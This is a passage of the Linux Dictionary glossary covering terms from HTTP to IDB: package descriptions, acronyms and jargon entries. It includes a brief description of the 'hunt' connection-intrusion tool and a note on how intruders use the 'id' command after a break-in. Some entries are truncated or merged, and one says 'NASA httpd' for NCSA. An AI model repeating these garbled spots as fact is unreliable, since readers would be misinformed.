The Internet standard that supports the exchange of information on the World Wide Web (WWW). By defining Universal Resource Locators (URLs) and how they can be used to retrieve resources (including not only Web documents but also File Transport Protocol (FTP)-accessible files, Usenet newsgroups, and Gopher menus) anywhere on the Internet, HTTP enables Web authors to embed hyperlinks in Web documents. When clicked, a hyperlink initiates a data transfer process that accesses and retrieves document, without any further intervention from the use (or, indeed, without any knowledge of where the document is coming from or how it was accessed). In short, HTTP lays the foundation for transparent access to the Internet. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTTP (Hypertext Transfer Protocol)

The protocol used to provide hypertext links between pages. It is the standard way of transferring HTML documents between Web servers and browsers. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.madeinlinux.com/> From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

httpd

Apache is a powerful, full-featured, efficient, and freely-available Web server. Apache is also the most popular Web server on the Internet. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTTPD

HyperText Transfer Protocol DAEMON (WWW, HTTP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Httpd (Hypertext Transer Protocol Deamon)

A web server originally developed at the Swiss Center for Particle Research (CERN) and originally called CERN httpd. Subsequently, httpd was developed independently at the National Center for Supercomputing Applications (NCSA) for UNIX systems. An important innovation in the history of Web servers, NASA httpd introduced forms, clickable imagemaps, authenticationm and key word searches. Most of these features are now taken for granted in other Web servers. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

httperf

An HTTP server performance tester. httperf is a tool to measure web server performance. It speaks the HTTP protocol both in its HTTP/1.0 and HTTP/1.1 flavors and offers a variety of workload generators. While running, it keeps track of a number of performance metrics that are summarized in the form of statistics that are printed at the end of a test run. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTTPNG

HyperText Transfer Protocol – Next Generation (WWW), "HTTP-NG" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTTPS

HyperText Transfer Protocol [SSL] Secured (HTTP, SSL, WWW) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

httptunnel

Tunnels a data stream in HTTP requests. Creates a bidirectional virtual data stream tunnelled in HTTP requests. The requests can be sent via a HTTP proxy if so desired. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hub

Central connectivity device for resources on a network. Computer systems, servers, network storage, printers, and more connect to hubs to communicate with each other. A switch and a router are two types of hubs. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hubcot

USB Hub muscot – utility "Hubcot" is the USB Hub with cute muscot(Toro and Hello Kitty). The muscot moves his arm and head by receiving a signal from USB. This package contains the utility for hubcot. "Hubcot" is trademarked by Dreams come true co.,Ltd. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hubcot-source

USB Hub muscot – source of module "Hubcot" is the USB Hub with cute muscot(Toro and Hello Kitty). The muscot moves his arm and head by receiving a signal from USB. This package contains the source code for hubcot module. Please note that the kernel sources must be installed to compile this module. "Hubcot" is trademarked by Dreams come true co.,Ltd. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HUGO

Holland User Group for OS/2 (org., user group, OS/2, Netherlands) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hugs

A Haskell 98 interpreter Hugs is an interpreter for the non-strict, purely functional programming language Haskell. This version of Hugs, Hugs 98, supports nearly all of the new Haskell 98 specification. Documentation is available in the hugs-doc package. The Haskell language is described by documents in the haskell-doc package. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hung

adj. [from `hung up'; common] Equivalent to wedged, but more common at Unix/C sites. Not generally used of people. Syn. with locked up, wedged; compare hosed. See also hang. A hung state is distinguished from crashed or down, where the program or system is also unusable but because it is not running rather than because it is waiting for something. However, the recovery from both situations is often the same. It is also distinguished from the similar but more drastic state wedged – hung software can be woken up with easy things like interrupt keys, but wedged will need a kill –9 or even reboot. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Hung system

A computer that has experienced a system failure and is no longer processing data, even though cursor might still be blinking on–screen. The only option in most cases is to restart the system, which means losing any unsaved work. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hunglish

A consistent English–Hungarian keyboard layout Hunglish provides an English–Hungarian dual keyboard layout. The layout is the same both on the linux console and under X. The package provides full support for all Hungarian letters on all common keyboards, including US 101–key layouts. In Hunglish, you can switch modes by pressing the Print Screen key. The Windows keys work as mode shift. Please read /usr/share/doc/hunglish/README for more information. (All documentation is in Hungarian.) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hunt

Advanced packet sniffer and connection intrusion. Hunt is a program for intruding into a connection, watching it and resetting it. Note that hunt is operating on Ethernet and is best used for connections which can be watched through it. However, it is possible to do something even for hosts on another segments or hosts that are on switched ports. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hunted

hunt daemon, back–end for hunt game From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HURD

HIRD of Unix–Replacing DAEMONS (GNU, HIRD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Hurd

The Hurd will be the foundation of the whole GNU system. It is built on top of the Mach 3.0 kernel, a free message–passing kernel developed by CMU. Mach's virtual memory management and message–passing facilities are extensively used by the Hurd. The GNU C Library will provide the Unix system call interface, and will call the Hurd for needed services it can't provide itself. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hwbrowser

A graphical browser for your current hardware configuration. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hwclock

query and set the hardware clock (RTC) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hwdata

hardware identification / configuration data This package contains various hardware identification and configuration data, such as the pci.ids database, or the XFree86 Cards database. Its needed for the kudzu hardware detection. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hwtools

Collection of tools for low–level hardware management This package is a collection of tools useful for hardware troubleshooting and optimization (for ix86 machines): irqtune: adjusts priority of

interrupts (improves serial performance), scanport: scans for hardware not already handled by Linux drivers, memmxtest: a real mode memory test, with MMX support. You may want to look at package memtest86 as well. Be aware that these tools require some knowledge of what are they doing to be used properly, not causing damage to your system. Some programs that were previously part of this package have been moved to their own packages (hdparm, scsitools, memtest86) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hx

The Unix client for Hotline Hx is the Unix client for Hotline. Hotline is kind of like IRC, kind of like an FTP server, all put together. It let's people chat on a server, and upload and download files. It works on the concept of servers, using trackers to keep track of which servers are available. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HYCH

Hope You Can Help (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hylafax-client

Flexible client/server fax software – client utilities The HylaFAX client software communicates with a HylaFAX server via TCP/IP. HylaFAX support the sending and receiving of facsimiles, the polled retrieval of facsimiles and the send of alphanumeric pages. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hylafax-server

Flexible client/server fax software – server daemons This package support the sending and receiving of facsimiles, the polled retrieval of facsimiles and the send of alphanumeric pages. The host running the server must have either a Class 1, Class 2, or a Class 2.0 fax modem attached to one of its serial ports. End-user applications to manage the transmission of documents via facsimile are provided separately by the hylafax-client package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hyperlatex

Creating HTML using LaTeX documents. Hyperlatex allows you to use a LaTeX-like language to prepare documents in HTML (the hypertext markup language used by the world wide web), and, at the same time, to produce a fine printed document from your input. You can use all of LaTeX's power for the printed output, and you don't have to learn a new language for creating hypertext documents. Note that Hyperlatex is not meant to translate arbitrary Latex files into HTML. Rather, it provides an authoring environment for writing printed documents and HTML documents at the same time, using an extended subset of Latex (excluding concepts that have no HTML counterpart and adding commands for new HTML concepts such as hyperlinks or included images). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hypermail

Create HTML archives of mailing lists Creates crosslinked and threaded HTML archives of mailboxes or mailing lists. Can be configured to automatically update the archives when new messages arrive. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hyperspec

The Common Lisp ANSI-standard Hyperspec This is a installer package for the html-ed version of the ANSI standard for Common Lisp. Note that these pages are only FYI and are not valid as a reference. But for all intents and purposes this is a good enough reference for daily work. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Hypertext

A document which has been marked up to allow a user to select words or pictures within the document, click on them, and connect to further information. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Hypertext

Generally, any text that contains links to other documents – words or phrases in the document that can be chosen by a reader and which cause another document to be retrieved and displayed. See also: HTML, HTTP From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hypertext markup language (HTML)

A standardized language for the formatting of interactive text on the World Wide Web. HTML uses tags and scripting and is typically rendered on Web browsers. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hypertext transfer protocol (http)

The protocol used to transfer information from Web servers to web browsers. Website addresses begin with http:// and is rendered on browsers using hypertext markup language (HTML). From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hyphen-show

Show hyphenations in DVI-files hyphen_show scans a DVI-file, tries to find all hyphenations and writes them to stdout. It is useful to check whether TeX's hyphenation algorithm really did the good job it is supposed to do. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HYTEA

HYperText Environment for Authoring (ESPRIT) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HYTIME

Hypermedia/Time-based structuring language (SGML, ISO, IEC, IS 10744), "HyTime" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hztty

Translates GB, Big5, zW/HZ Chinese encodings in a tty session This program turns a tty session from one Chinese encoding to another. For example, running hztty on cterm can allow you to read/write Chinese in HZ format, which was not supported by cterm. If you have many applications in different encodings but your favor terminal program only supports one, hztty can make life easy. For example, hztty can your GB cterm into a HZ terminal, a Unicode (16bit, or UTF8, or UTF7) terminal, or a Big5 terminal. Author: Yongguang Zhang <ygz@cs.purdue.edu> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

I

I2C

Inter Integrated Circuit [bus] From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

i2c-source

sources for drivers for the i2c bus The i2c bus is used by many modern motherboards to provide hardware health monitoring data, like temperature and fan speed. The i2c drivers are used by the lm-sensors package to access this data. Note that i2c drivers are available in recent versions of the linux kernel, but the drivers in this package may be more up to date. This package contains the source for the i2c kernel modules. The kernel sources must be installed to compile these modules. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

i2e

English-Spanish translation dictionary. English to Spanish (and viceversa) translation dictionary. It can be used both in X and text mode and has a learning function that can be used to add more information to the provided dictionary. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

I2O

Intelligent Input/Output (Intel) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

I2O

Intelligent Input/Output [bus] From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

i386

Most commonly seen as a suffix to binary packages (such as RPM packages) to be installed on a Linux system. It simply means that the package was designed to be installed on 386 based machines, ie. 386 class machines such as the 386 DX-33. A i386 package will run on any x86 class machine.

From Binh <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

I3C

International Imaging Industry Association (org., PIMA, successor) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

I3DL2

Interactive 3D Audio Level 2 (audio) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

i486

Most commonly seen as a suffix to binary packages (such as RPM packages) to be installed on a Linux system. It simply means that the package was designed to be installed on 486 based machines, ie. 486 class machines such as the 486 DX4-100. Packages for this class of machine will run on later x86 based systems but there is no guarantee that they will run on i386 class machines if there have been too many processor based optimisations implemented by the developer. From Binh

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

I4DL

I

ie. 586 class machines such as the 586 Pentium-100. Packages for this class of machine will run on later x86 based systems but there is no guarantee that they will run on i386 class machines if there have been too many processor based optimisations implemented by the developer. From Binh
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

i686

Most commonly seen as a suffix to binary packages (such as RPM packages) to be installed on a Linux system. It simply means that the package was designed to be installed on the 686 based machines, ie. 686 class machines such as the Celeron 766. Packages for this class of machine will run on later x86 based systems but there is no guarantee that they will run on i386 class machines if there have been too many processor based optimisations implemented by the developer. From Binh
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

i8kutils

Dell Inspiron and Latitude laptop utilities This is a collection of utilities to control Dell Inspiron and Latitude laptops. It includes programs to turn the fan on and off, to read fan status, CPU temperature, BIOS version and to handle the volume buttons and Fn-keys. The package includes also a small Tk applet, designed to be swallowed in the gnome panel, which monitors the CPU temperature and controls automatically the fans accordingly to user defined thresholds. The programs require the kernel module i8k.o which can be compiled from the package sources or found in Linux kernel 2.4.14 and later versions. The kernel module has been tested only on Inspiron 8000 laptops but it should work on any Inspiron and Latitude laptops. From Debian 3.0r0 APT

IBM

Linux Dictionary

/I-B-M/ Inferior But Marketable; It's Better Manually; Insidious Black Magic; It's Been Malfunctioning; Incontinent Bowel Movement; and a near-infinite number of even less complimentary expansions, including `International Business Machines'. See TLA. These abbreviations illustrate the considerable antipathy most hackers long felt toward the `industry leader' (see fear and loathing). What galled hackers about most IBM machines above the PC level wasn't so much that they were underpowered and overpriced (though that does count against them), but that the designs are incredibly archaic, crufty, and elephantine ... and you can't fix them --- source code is locked up tight, and programming tools are expensive, hard to find, and bltcherous to use once you've found them. For many years, before Microsoft, IBM was the company hackers loved to hate. But everything changes. In the 1980s IBM had its own troubles with Microsoft. In the late 1990s IBM re-invented itself as a services company, began to release open-source software through its AlphaWorks group, and began shipping Linux systems and building ties to the Linux community. To the astonishment of all parties, IBM emerged as a friend of the hacker community This lexicon includes a number of entries attributed to `IBM'; these derive from some rampantly unofficial jargon lists circulated within IBM's own beleaguered hacker underground. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IBM

International Business Machines (manufacturer, IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IBO

InterBase Objects (Borland, InterBase) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ibod

ISDN MPPP bandwidth on demand daemon ibod is a ISDN MPPP bandwidth on demand daemon designed to operate in conjunction with isdn4linux. The program monitors inbound and outbound traffic on the ISDN interface. When the required bandwidth exceeds the capacity for the current number of ISDN B-channels, more (slave) channels are connected according to the MPPP protocol. When the traffic decreases, the slave channel(s) are disconnected. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ibp

Viewer for the International Beacon Project Ibp shows which of the beacons of the International Beacon Project is transmitting now. The user is presented with a list of Beacons with the current beacon highlighted. In a separate graphical window the position and short/long path to the beacon can be seen. The list can be viewed in either single or multiband mode, a Maidenhead locator, when used as an argument, shows distance and azimuth to each beacon. You will need an accurate clock because the beacons transmit at 10 second intervals. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ibrazilian

The Brazilian Portuguese dictionary for ispell. This is the Brazilian Portuguese dictionary for ispell as put together by Ricardo Ueda Karpiscek <ueda@ime.usp.br>. Current status is good enough to be used for daily needs. This dictionary is being developed in a structured way. Verbs are treated apart by a specific software, a verb conjugator (conjugue). Names are partitioned into semantic classes to make vocabulary completion and revision easier. See <http://www.ime.usp.br/~ueda/br.ispell/> for more information. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ibritish

A British English dictionary for ispell. This is the britishmed+ dictionary, as supplied with the source for ispell. Because of the way this dictionary is built it contains many American spellings as well as British spellings (e.g. both "analyze" and "analyse" are considered valid). From Debian 3.0r0 APT

ICE

Information and Content Exchange From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iceauth

ICE authority file utility From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icebreaker

Break the iceberg So, uh, there's a bunch of penguins on an iceberg in Antarctica. You have been selected to catch them so they can be shipped to Finland, where they are essential to a secret plot for world domination. In order to trap the penguins, you'll need to break the iceberg into small chunks. (They're afraid of water, for no apparent reason. Ah well. "The Matrix" had more plot holes than this, and it still was a hit.) You do this by melting lines in the ice with Special High-Tech GNU Tools. Once 80% or more of the iceberg is gone, the remaining chunks are small enough for shipping. Of course, if you manage to get rid of more than that, you'll save on postage, thus earning you exponential amounts of Geek Cred (a.k.a. "score"). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icecast

Icecast is an Internet based broadcasting system based on the Mpeg Layer III streaming technology. It was originally inspired by Nullsoft's Shoutcast and also mp3serv by Scott Manley. The icecast project was started for several reasons: a) all broadcasting systems were pretty much closed source, non-free software implementations, b) Shoutcast doesn't allow you to run your own directory servers, or support them, and c) we thought it would be a lot of fun. Icecast is almost completely Shoutcast compatible as far as we've been able to determine. WinAmp can both send encoded streams as well as stream music from icecast. Icecast can also use the yp.shoutcast.com directory services and adds the ability to use other directory services. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iceconf

Configuration tool for icewm A nice, graphical configuration tool for the icewm window manager. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IceLinux

IceLinux is trying to build the Linux Gaming Platform of the future using Red Hat 7.1 as a base. A 'special purpose/mini' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icemc

Editor for IceWM menus IceMC is a Qt-based application that configures your IceWM menus and toolbar. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iceme

A graphical menu editor for IceWM IceMe is a graphical menu and shortcut editor for the IceWM window manager, written in Python and GTK+. You can edit menu entries with drag and drop as well as cut and paste. Both the default menu and the local menu in the users home directory can be edited. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Icepack Linux

Icepack Linux is a full-featured Linux distribution built from scratch. Version 1.0 released on February 13th 2001. It's optimized for the i586 family of processors and aims to be user-friendly in both installation and configuration. Icepack 2.91 was released April 27, 2003. From LWN

Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icepref

Yet another configuration tool for IceWM Another GUI-based configuration tool for the IceWM window manager, including easy selection of fonts and other config options. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icewm

A wonderful Win95-OS/2-Motif-like window manager Window Manager for X Window System. Can emulate the look of Windows'95, OS/2 Warp 3,4, Motif. Tries to take the best features of the above systems. Features multiple workspaces, opaque move/resize, task bar, window list, mailbox status, digital clock. Fast and small. Extra themes are available from the icewm-themes package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ICF

International Cryptographic Framework (HP, cryptography) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ICIA

International Communications Industries Association (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ickle

An ICQ2000 client for GTK+ Ickle is an ICQ client which is able to communicate with ICQ servers using the new ICQ2000 protocol. This offers much better reliability than the older ICQ99 protocol. ickle has a constantly improving interface, now supporting history browsing, and much more. Ickle currently supports: * Sending/Receiving normal messages * Sending/Receiving URLs * Sending/Receiving SMS messages * Retrieving away messages This version is compiled without gnome support, for gnome support install the package `ickle-gnome'. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ICL

International Computers Limited (manufacturer, UK, USA, Japan, Fujitsu) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ICM

Image Color Matching (MS, Windows 95, API) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icmake

Intelligent C-like MAKER, or the ICce MAKE utility Icmake is a hybrid between a 'make' utility and a 'shell script' language. Originally, it was concocted to provide a useful tool for automatic program maintenance and system administrative tasks on MS-DOS platforms. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ICMC

International Computer Music Conference (fair) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ICMP

Internet Control Message Protocol [version 4] (TCP/IP, RFC 792, Internet) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icmpinfo

Interpret ICMP messages. Icmpinfo is a tool for looking at the ICMP messages received on the running host. It can be used to detect and record 'bombs' as well as various network problems. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icmpush

ICMP packet builder icmpush is a tool that builds ICMP packets fully customized from command line. It supports the following ICMP error types: Redirect, Source Quench, Time Exceeded, Destination Unreach and Parameter Problem. And the following ICMP information types: Address Mask Request, Timestamp, Information Request, Echo Request, Router Solicitation and Router Advertisement. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ICMPV6

Internet Control Message Protocol Version 6 (Internet, IPV6, RFC 1885), "ICMPv6" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ICMX

??? [transport level interface standard] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ico

animate an icosahedron or other polyhedron From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icom

Software control for ICOM radios This program allows you to control many types of ICOM radio (transceivers and receivers) from the serial port on your computer. You need a CI-V interface circuit to connect the radio to the computer (to convert between RS-232 and TTL), which can be easily found on the web. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icombine

Interactive spelling checking From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icomlib-bin

Icom PCR-1000 command line control icomlib is the ghetto.org PCR-1000 control suite. It consists of a library, command line programs, and a QT widget GUI application. This software controls an ICOM PCR-1000 receiver via a serial interface. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icomlib1

Icom PCR-1000 control shared libraries icomlib is the ghetto.org PCR-1000 control suite. It consists of a library, command line programs, and a QT widget GUI application. This software controls an ICOM PCR-1000 receiver via a serial interface. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icon-ipl

Libraries for Icon, a high-level programming language Ideal for both complex nonnumerical applications and for situations where users need quick solutions with a minimum of programming effort, Icon is a high-level, general purpose programming language with a syntax similar to Pascal and C. Its applications include: rapid prototyping, analyzing natural languages, generating computer programs, and artificial intelligence. (From the back cover of the book "The Icon Programming Language," by Griswold and Griswold.) This package contains the Icon program library, a library of Icon procedures and programs contributed by Icon users. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iconc

Compiler for Icon, a high-level programming language Ideal for both complex nonnumerical applications and for situations where users need quick solutions with a minimum of programming effort, Icon is a high-level, general purpose programming language with a syntax similar to Pascal

and C. Its applications include: rapid prototyping, analyzing natural languages, generating computer programs, and artificial intelligence. (From the back cover of the book "The Icon Programming Language," by Griswold and Griswold.) This package contains the Icon compiler. It generates programs that generally run faster than those of the `icont/iconx` Icon interpreter. On the other hand, the Icon compiler takes much longer to compile programs and is more memory-hungry than the `iconx/icont` pair. As such, the compiler is probably only useful to speed up the execution of large Icon programs once they are fully developed and debugged. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icont

Interpreter for Icon, a high-level programming language Ideal for both complex nonnumerical applications and for situations where users need quick solutions with a minimum of programming effort, Icon is a high-level, general purpose programming language with a syntax similar to Pascal and C. Its applications include: rapid prototyping, analyzing natural languages, generating computer programs, and artificial intelligence. (From the back cover of the book "The Icon Programming Language," by Griswold and Griswold.) This package contains the Icon translator, which converts Icon source code into ``unicode`` that can then be executed with the help of the `iconx` program. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iconv

Convert encoding of given files from one encoding to another From `whatis` <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iconv

perform character set conversion From `whatis` <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iconx

Executor for Icon, a high-level programming language Ideal for both complex nonnumerical applications and for situations where users need quick solutions with a minimum of programming effort, Icon is a high-level, general purpose programming language with a syntax similar to Pascal and C. Its applications include: rapid prototyping, analyzing natural languages, generating computer programs, and artificial intelligence. (From the back cover of the book "The Icon Programming Language," by Griswold and Griswold.) This package contains the Icon executor, `iconx`, which is needed to execute interpreted Icon programs. If you are starting from Icon source code (as opposed to precompiled ``unicode`` files), you will also need the `icont` package, which converts your Icon source into a program that `iconx` can execute. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ICONZ

Internet Company Of New Zealand (org., Usenet) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ICOT

Institute for new generation COmputer Technology (org., Japan, FGCS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

icoutils

Extract MS Windows icons and cursors `Icoutils` is a set of programs that deal with MS Windows icons and cursors. Resources such as icons and cursors can be extracted from MS Windows executable and library files with ```wrestool```. Conversion of these files to XPM images is done with ```icotool```. ```extresso``` automates these tasks with the help of special resource scripts. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iczech

The Czech dictionary for ispell. This is the Czech dictionary for ispell. Author: Petr Kolar
<Petr.Kolar@vslib.cz> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

id

A UNIX command that identifies the user account under which it is executed, including UID, GID, groups, and associated names. Key point: This is often the first command a hacker will run on the system when the hacker breaks in remotely. The hacker will remotely compromise a service that is running under either root account, a special account setup for that service (e.g. the majordomo service runs under a user account called "majordomo"), or a user's account. The hacker is hoping they have achieved root access immediately. If not, the hacker will have to run a local exploit in order to elevate privileges. The other popular command hackers might execute is id. Example: Running id as root on one of my systems results in: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ID

Identification From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

id

print real and effective UIDs and GIDs From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

id-utils

Fast, high-capacity, identifier database tool. Actually, the term `identifier' is too limiting--`mkid' stores tokens, be they program identifiers of any form, literal numbers, or words of human-readable text. Database queries can be issued from the command-line, or from within emacs, serving as an augmented tags facility. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

id3

An ID3 Tag Editor A command-line based program that can list, modify, or delete ID3 tags from a file. ID3 tags are a way of identifying streaming music files. You can store Artist, Album, Title, Track, Year, and Genre in a tag, as well as a 28-character comment. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

id3ed

Another id3 tag editor A command-line program that allows you to add/edit/remove id3 tags on mp3 files. This one will, if run with just the name of a file to edit, allow you to change the tags interactively. Like other id3 tag editors, it can still be used in scripts easily. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

id3ren

id3 tagger and renamer Tool used to rename batches of mpeg3 files by reading the ID3 tag at the end of the file which contains the song name, artist, album, year, and a comment. The secondary function of id3ren is a tagger, which can create, modify, or remove ID3 tags. The id3 fields can be set on the command line, entered interactively, or "guessed" from the path and the filename. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

id3tool

Linux Dictionary

A command line editor for id3 tags. A simple and complete editor for id3 tags. Highly recommended for scripting and bulk operations where you need to edit id3 tags from scripts. Can also be used to read id3 tags. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

id3v2

A command line id3v2 tag editor Adds/Modifies/Removes/Views id3v2 tags, converts/lists id3v1 tags From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDA

Interchange of Data between Administrations (org., Europe) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDAC

Infobus Data Access Component (Lotus, Java) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

idanish

The Danish dictionary for ispell. This is the Danish dictionaries, to be used with ispell to check and correct spelling in Danish texts. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDAPI

Integrated Database API (DB, IBM, Novell, Borland, predecessor, BDE, API) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDAS

Interchange DATA Structure From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDB

Integrated DataBase (DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDBEF

Integrated DataBase Extract Format (IDB, DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDBTF

